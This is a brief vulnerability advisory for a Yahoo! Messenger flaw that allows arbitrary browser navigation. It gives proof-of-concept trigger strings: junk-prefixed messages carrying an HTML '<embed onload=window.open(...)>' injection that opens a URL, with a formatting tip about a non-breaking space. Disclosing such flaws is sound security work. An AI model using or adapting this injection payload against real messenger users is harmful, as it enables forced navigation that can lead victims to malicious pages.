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Yahoo! Messenger Remote Search String Arbitrary Browser Navigation Vulnerability

An attacker can exploit this issue via standard networking tools or possibly by using another client application.

The following examples are sufficient to trigger this issue:

:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg

:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(

Note: "helomsg :" this space must be created with
alt+0160 and this "s: " with a space.